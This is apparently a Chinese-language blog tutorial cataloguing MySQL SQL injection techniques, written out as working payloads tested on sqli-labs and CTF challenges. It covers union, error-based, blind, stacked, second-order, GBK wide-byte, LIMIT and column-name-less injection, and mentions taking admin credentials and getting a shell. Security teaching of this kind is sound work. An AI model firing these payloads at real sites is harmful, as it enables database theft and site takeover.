前言
前面提了一些简单的存在的关系型数据库和非关系型数据库的种类,顺带着也包含有关于Mysql数据库的一些GETSHELL的方式方法,接下来继续提及一些有关于Mysql的注入方式方法
Mysql
基于union注入
- 判断注入类型
- 猜解字段数,使用order by语句
- 进行查询 union select子句
流程
直接使用上面的方式判断注入类型为数字型注入
我们可以使用order by子句判断字段数量,也可以直接使用union select子句进行判断
- 使用order by
- 当order by后的字段数大于实际字段数的时候就会报上图所示错误,所以此时的字段数为3
- 使用union select子句进行判断
值得注意的是,在union select前面一定要让它错误(比如 0或者-1等等),不然联合查询不会生效
我们可以通过增加后面的1,2,3,4.....来一次判断字段数,在之后的回显就是这样判断的
这里的sqli-labs靶场中的回显是第二三字段
得到2, 3为回显位置
之后就可以查询数据库相关信息了
查看数据库用户和数据库名
查看数据库表
查看对应表的列名
查看相应列数据
之后就可以得到对应的账户加上密码,进入网站后台,getshell等等操作
基于报错的注入
报错注入在没法使用union联合查询的时候可以使用
报错注入就是利用了数据库的某些机制,人为的制造错误条件使得查询结果能够出现在错误信息中
mysql_version > 5.1.5
Xpath错误
use extractvalue
原型 extractvalue(xml_document, Xpath_string)
如果后面不满足xpath查询法就会报错
值得注意的是 extractvalue
能够查询的字符串最大长度为32,超过32就需要使用substring等方法截取字符串,或者使用 limit
进行分页读取
使用示例:
```
查询表名
id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
```
直接按照流程来就行了
use updatexml
原型updatexml(xml_document,xpath_string,new_value)
同样使得xpath语法不正确
id='and(select updatexml(1,concat('~',(select database())),1))
group_by()错误
这种注入方式主要因为order by x中的x是一个重复性的数据,导致了报错
示例:
'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
简单解释一下,这里主要是对x进行分组操作,使用了重命名的方式
时间盲注
流程
判断注入点
1' and sleep(3)
正常延迟3s就证明存在注入点
这里主要是使用ascii()转为ascii值,之后通过分割字符串进行逻辑判断
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+
?id=1' and if(ascii(substr(database(),1,1))>100,1,sleep(10))--+
布尔盲注
流程
这个和之前的时间盲注,我觉得是相似的手法,这里主要是通过回显页面来进行注入的,之间的时间盲注更加适用于没有回显的情况下
使用left, right函数判断
?id=1' and left(database())='s'--+
?id=1' and left(database())>'a'--+
使用like进行模糊匹配
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+
使用ascii函数进行字符分割判断
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+
堆叠注入
条件
想要使用堆叠注入的方式,就需要开启配置项,或者使用特定的函数
- 比如说在PHP中就需要使用
mysqli_multi_query
函数来执行sql语句,才能进行堆叠注入 - 又或者在JAVA中需要在JDBC连接串中配置
allowMultiQueries
属性,才能生效
流程
之后就可以按照正常的方式进行注入了
?id=1';show databases--+
?id=1';show tables--+
二次注入
在存在注入却没办法攻击的时候,可以考虑二次注入
原理
在进行数据库交互的时候使用了 addslashes
或者 get_magic_quotes_gpc
,对 '
等字符进行了转义处理,但是捏,在转义字符并不会插入数据库中
然后在第二次利用的时候,应用了危险的数据,在sql语句执行中造成了sql注入
实战
我们同样采用sqli-labs进行实验(Less-24)
打开环境之后是一个登陆框,存在,更改密码和创建用户的功能
我们在创建用户功能处进行sql语句的插入, 用户名使用 admin'#
密码使用 123
, 进行注册
尽管在后端使用了 mysql_escape_string
进行了处理
但是仍然将数据写入成功
之后我们使用这个用户和密码登陆,默认会让你重置密码,这里将密码 123
更新为 1234
, 重置
之后我们发现真正的admin用的密码由 admin
变成了 1234
为什么呢?因为在重置密码功能位置,没有对username的值进行处理,直接从session中提取的
之后我们就可以进行admin用户的登陆
当然其他攻击也是可以执行的
宽字节注入
条件
- 使用addslashes函数进行转义
- 数据库编码设置为GBK
原理
在输入 %df
时,经过 addslashes
转义变成 %df%5c%27
,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c
编码成了“运”,而单引号逃逸了出来,形成了注入
?id=-1%df' union select 1,2,3--+
other
limit注入
当可控点在limit语句之后的注入
在limit后面可以使用的函数有 into``procedure
, into可以写入文件,procedure analyse()
子查询可以使用 extractvalue benchmark
进行注入
select * from users limit 0,1 union select * from users;
select * from users limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
无回显也可以使用延时盲注
select * from users limit 0,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5,benchmark(5000000,sha(1)),1))))),1)
无列名注入
有时候会因为 information_schema
库被ban掉,而无法使用,进而无法查找到表名和列名
- 查表名
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名
使用 innodb
查表名
select group_concat(table_name) from mysql.innodb_index_stats where database_name=database()
seelct group_concat(database_name) from mysql.innodb_table_stats
或者使用 sys
查表名
select group_concat(table_name) from sys.schema_auto_increment_columns where database_name=database()
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
sys.x$schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io
* 查列名
主要是因为通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据
注: 进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错
例子:
``
2` from (select 1,2,3 union select * from xxx)n
select
## 这样就会查询第二列的内容
## 如果反引号被ban了,我们可以使用别名的方式利用
select b from (select 1 as a, 2 as b, 3 as c union select * from xxx)n
```
## [SWPU2019]Web1
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
当然还有另一种过滤了 union
的无列名注入
[GYCTF2020]Ezsqli
题目中
在数据库中,对于两个select字段的比较,是通过按位比较的,如果第一位两者相等,就继续比较接下来的字段,一直到某一个字段的值更大,就代表这个值更大
(select 'f') > (select 'fl') # 返回 0
(select 'zl') > (select 'fl') # 返回 1
假设爆破出来的表名是 xxx
, 有两个字段,其中第二列是我们需要的数据
我们可以爆破数据
1^((1, 'flag') > (select * from xxx))
使用join也可以注入?
mysql> select _ from (select _ from users a join users b)c;#users是表名,
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select _ from (select _ from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select _ from (select _ from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论